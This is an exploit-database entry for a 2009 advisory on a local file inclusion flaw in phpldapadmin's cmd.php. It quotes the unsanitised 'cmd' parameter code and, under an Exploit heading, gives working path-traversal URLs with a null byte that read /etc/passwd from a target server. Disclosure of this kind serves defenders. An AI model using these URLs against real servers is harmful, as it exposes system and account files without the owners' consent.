Lucene search
K

phpldapadmin Local File Inclusion

🗓️ 10 Dec 2009 00:00:00Reported by ipsecsType 
zdt
 zdt
🔗 0day.today👁 18 Views

phpldapadmin Local File Inclusion vulnerability in cmd.ph

Code
=================================
phpldapadmin Local File Inclusion
=================================

########################################################################
#       PHPLDAPADMIN LOCAL FILE INCLUSION
########################################################################
 
author  : ipsecs
website : http://ipsecs.com
Date        : December, 10th, 2009
 
 
-[i]- Description
 
"Phpldapadmin is web based LDAP client which provides easy,
anywhere-accessible, multi-language administration for LDAP
server."
http://phpldapadmin.sourceforge.net
 
vulnerable version:
phpldapadmin 1.1.0.5
Ubuntu 8.10
Debian 5.0
Other version may be affected
 
-[ii]- Vulnerable Code
 
Vulnerable code is found in cmd.php which doesn't sanitize
URI parameter provided by user input.
 
line 10
$www['cmd'] = get_request('cmd','REQUEST');
 
line 22-27
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
       $file = HOOKSDIR.$www['cmd'].'.php';
 
elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
       $file = HTDOCDIR.$www['cmd'].'.php';
 
line 38-39
if ($file)
       include $file;
 
Attacker may view any arbitrary files trough 'cmd' parameter
in URI request.
 
-[iii]- Exploit
 
http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00
http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00
 
-[iv]- Fix
 
Sanitize $file before being included. Unfortunaltely there is
no working patch at this time.



#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation